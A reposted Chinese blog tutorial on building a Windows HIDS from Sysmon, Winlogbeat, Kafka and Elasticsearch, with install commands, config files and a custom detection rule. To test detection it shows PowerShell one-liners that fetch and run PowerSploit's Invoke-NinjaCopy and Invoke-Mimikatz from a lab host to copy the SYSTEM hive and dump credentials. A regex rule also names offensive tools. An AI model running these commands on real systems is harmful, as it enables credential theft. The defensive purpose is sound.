使用Sysmon和Winlogbeat打造Windows平台的HIDS

admin 2023年1月9日02:05:33评论59 views字数 6147阅读20分29秒阅读模式

介绍

https://docs.microsoft.com/zh-cn/sysinternals/downloads/sysmon

Sysmon是微软的一款免费的轻量级系统监控工具。它通过系统服务和驱动程序实现记录进程创建,网络连接以及文件创建时间更改的详细信息,并把相关的信息写入并展示在windows的日志事件里。我们可以通过读取Windows的日志,了解Windows的安全状态。

Sysmon安装后分为用户态系统服务,即ring3层的exe, 驱动(Flt的minifilter)两部分,下面开始上篇的讲解,ring3实现对网络数据记录以及对驱动返回的数据进行解析,而驱动部分则返回进程相关的信息以及进程访问文件注册表的数据给ring3,我们首选讲解ring3的实现原理。用户态通过ETW(Event Tracing for Windows)实现对网络数据记录,通过EventLog对驱动返回的数据进行解析,驱动部分则通过进、线程,模块的回调函数收集进程相关的信息,通过Minifilter文件过滤驱动和注册表回调函数记录访问文件、注册表的数据。

从功能上来讲,Sysmon是一款优秀的HIDS、EDR的主机入侵检测引擎,其依托于Windows内核层进、线程,模块,注册表回调,及文件过滤驱动针对相应的行为进行实时的增、删、改信息收集并通过ETW存储并展示于Windows日志。

 

安装

下载地址

https://download.sysinternals.com/files/Sysmon.zip
    Install:    Sysmon.exe -i <configfile>
[-h <[sha1|md5|sha256|imphash|*],...>] [-n [<process,...>]]
[-l (<process,...>)]

Configure: Sysmon.exe -c <configfile>
[--|[-h <[sha1|md5|sha256|imphash|*],...>] [-n [<process,...>]]
[-l [<process,...>]]]

Uninstall: Sysmon.exe -u

-c 更新或显示配置

-h 指定hash记录的算法

-i 安装,可用xml文件来更新配置文件

-l 记录加载模块,可指定进程

-m 安装事件清单

-n 记录网络链接

-r 检测证书是否撤销

-u 卸载服务和驱动

一键安装:

sysmon -accepteula –i -n
指定配置文件(安装时请用-i)

sysmon -c xxx.xml
注:安装需要管理员权限并重启,windows 7 或者以上,服务器系统windows server 2012 及以上。

配置样例


<Sysmon schemaversion="4.21">
<!-- Capture all hashes -->
<HashAlgorithms>*</HashAlgorithms> <!--哈希配置(默认使用sha1) -->
<EventFiltering> <!--事件筛选-->
<!-- Log all drivers except if the signature -->
<!-- contains Microsoft or Windows -->
<DriverLoad onmatch="exclude"> <!--默认记录所有日志 除非标记 ? -->
<Signature condition="contains">microsoft</Signature>
<Signature condition="contains">windows</Signature>
</DriverLoad>
<!-- Do not log process termination -->
<!--不记录进程终止-->
<ProcessTerminate onmatch="include" />
<!-- Log network connection if the destination port equal 443 -->
<!-- or 80, and process isn't InternetExplorer -->
<NetworkConnect onmatch="include">
<DestinationPort>443</DestinationPort> <!-- 记录443 端口连接记录-->
<DestinationPort>80</DestinationPort>
</NetworkConnect>
<NetworkConnect onmatch="exclude">
<Image condition="end with">iexplore.exe</Image>
</NetworkConnect>
</EventFiltering>
</Sysmon>
-- 配置条目直接位于Sysmon 标签下, 过滤器位于 EventFiltering 标签下

一些配置规则

 https://github.com/sametsazak/sysmon.git

https://github.com/SwiftOnSecurity/sysmon-config

https://github.com/ion-storm/sysmon-config

ProcessCreate 进程创建
FileCreateTime 文件创建时间更改
NetworkConnect 检测到网络连接
ProcessTerminate 进程终止
DriverLoad 驱动程序已加载
ImageLoad 镜像加载
CreateRemoteThread 已检测到创建远程线程
RawAccessRead 检测到原始访问读取
ProcessAccess 已访问的进程
FileCreate 文件创建
RegistryEvent 添加或删除注册表对象
RegistryEvent 注册表值设置
RegistryEvent 注册表对象已重命名
FileCreateStreamHash 已创建文件流
PipeEvent 管道创建
PipeEvent 管道已连接
WmiEvent 检测到WmiEventFilter活动 -- WmiEventFilter activity detected
WmiEvent 检测到WmiEventConsumer活动 -- WmiEventConsumer activity detected
WmiEvent 检测到WmiEventConsumerToFilter活动 -- WmiEventConsumerToFilter activity
DnsQuery DNS查询

我们可以使用 winlogbeat采集到elk,也可以使用wazuh完成数据日志采集,然后用来分析

我们也可以使用一些工具辅助我们分析,如下:

Sysmon View:Sysmon日志可视化工具

Sysmon Shell:Sysmon配置文件生成工具

Sysmon Box:Sysmon和网络捕获日志记录工具

https://github.com/nshalabi/SysmonTools

 

部署

安装并且把Auto_Update.bat,自动更新加入定时任务,把相关的地址替换一下


@echo off
setlocal
set hour=%time:~0,2%
set minute=%time:~3,2%
set /A minute+=2
if %minute% GTR 59 (
set /A minute-=60
set /A hour+=1
)
if %hour%==24 set hour=00
if "%hour:~0,1%"==" " set hour=0%hour:~1,1%
if "%hour:~1,1%"=="" set hour=0%hour%
if "%minute:~1,1%"=="" set minute=0%minute%
set tasktime=%hour%:%minute%
mkdir C:windowssysmon
pushd "C:windowssysmon"
echo [+] Downloading Sysmon...
@powershell (new-object System.Net.WebClient).DownloadFile('https://gitee.com/njcx86/sysmon-config/raw/master/Sysmon64.exe','C:windowssysmonsysmon64.exe')"

echo [+] Downloading Sysmon config...
@powershell (new-object System.Net.WebClient).DownloadFile('https://gitee.com/njcx86/sysmon-config/raw/master/sysmonconfig-export.xml','C:windowssysmonsysmonconfig-export.xml')"
@powershell (new-object System.Net.WebClient).DownloadFile('https://gitee.com/njcx86/sysmon-config/raw/master/Auto_Update.bat','C:windowssysmonAuto_Update.bat')"

sysmon64.exe -accepteula -i sysmonconfig-export.xml
sc failure Sysmon64 actions= restart/10000/restart/10000// reset= 120
echo [+] Sysmon Successfully Installed!
echo [+] Creating Auto Update Task set to Hourly..
SchTasks /Create /RU SYSTEM /RL HIGHEST /SC HOURLY /TN Update_Sysmon_Rules /TR C:ProgramDatasysmonAuto_Update.bat /F /ST %tasktime%
timeout /t 10
exit

Auto_Update.bat


@echo on
cd C:ProgramDatasysmon
@powershell (new-object System.Net.WebClient).DownloadFile('https://gitee.com/njcx86/sysmon-config/raw/master/sysmonconfig-export.xml','C:windowssysmonsysmonconfig-export.xml')"
sysmon64 -c sysmonconfig-export.xml
exit

sysmon 安装完成后,可以看到对应的Sysmon服务

使用Sysmon和Winlogbeat打造Windows平台的HIDS

sysmon 的日志位于,C:WindowsSystem32winevtLogsMicrosoft-Windows-Sysmon%4Operational.evtx

使用Sysmon和Winlogbeat打造Windows平台的HIDS

然后安装 Winlogbeat

https://artifacts.elastic.co/downloads/beats/winlogbeat/winlogbeat-7.8.0-windows-x86_64.zip

配置文件的output 改为:


output.kafka:
# initial brokers for reading cluster metadata
hosts: ["172.21.129.2:9092"]
topic: 'win-hids'

接下来就是启动了,用管理员的身份启动PowerShell 。

输入如下:


.install-service-winlogbeat.ps1
net start winlogbeat

使用Sysmon和Winlogbeat打造Windows平台的HIDS

使用Sysmon和Winlogbeat打造Windows平台的HIDS

./kafka-console-consumer.sh --bootstrap-server 172.21.129.2:9092 --topic win-hids

使用Sysmon和Winlogbeat打造Windows平台的HIDS

kafka的流量分流,写es 和 规则引擎消费, 下面是logstash to es的配置

input{
kafka{
bootstrap_servers => "172.21.129.2:9092"
topics_pattern => ".*"
consumer_threads => 5
decorate_events => true
codec => "json"
auto_offset_reset => "latest"
group_id => "logstash1"

}
}
filter {

mutate {
remove_field => ["beat","agent","ecs"]
}

}

output {
elasticsearch {
hosts => ["127.0.0.1:9200"]

index => "%{[@metadata][kafka][topic]}-%{+YYYY.MM.dd}"
}

}

使用Sysmon和Winlogbeat打造Windows平台的HIDS

我们使用 PowerSploit 干一下

https://github.com/mattifestation/PowerSploit.git

使用Sysmon和Winlogbeat打造Windows平台的HIDS

使用Sysmon和Winlogbeat打造Windows平台的HIDS

powershell IEX (New-Object System.Net.Webclient).DownloadString("http://172.16.251.133/Exfiltration/Invoke-NinjaCopy.ps1");Invoke-NinjaCopy  -Path   C:WindowsSystem32configSYSTEM -LocalDestination .system.hive

powershell IEX (New-Object System.Net.Webclient).DownloadString("http://172.16.251.133/Exfiltration/Invoke-Mimikatz.ps1");Invoke-Mimikatz -DumpCreds

可以在elk看到如下内容

使用Sysmon和Winlogbeat打造Windows平台的HIDS

使用Sysmon和Winlogbeat打造Windows平台的HIDS

我们在用Go自研的规则引擎(规则用yml记录)里面添加如下规则(也可以用flink做)


state: enable
rule_id : hacker-command-line-01
rule_tag: hacker-command-line
rule_name: hacker-command-line-01
rule_type: or

detect_list:

- field : command_line
type: re
rule: (Get-GPPAutologon|Get-TimedScreenshot|Invoke-DllInjection|Invoke-Shellcode|Invoke-WmiCommand|Get-System|Invoke-Mimikatz|Invoke-NinjaCopy|Out-Minidump)
ignorecase: true

threat_level : high
auth : njcx
info: hacker command tools

e-mail:
- [email protected]
- [email protected]

规则引擎命中后,即会写es,同时给邮箱发送告警,方便许多。


                                       使用Sysmon和Winlogbeat打造Windows平台的HIDS





首发于安全客,此处转载,用于备份

原文地址:

https://www.anquanke.com/post/id/236222





原文始发于微信公众号(西部老枪):使用Sysmon和Winlogbeat打造Windows平台的HIDS

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月9日02:05:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用Sysmon和Winlogbeat打造Windows平台的HIDShttps://cn-sec.com/archives/591910.html

发表评论

匿名网友 填写信息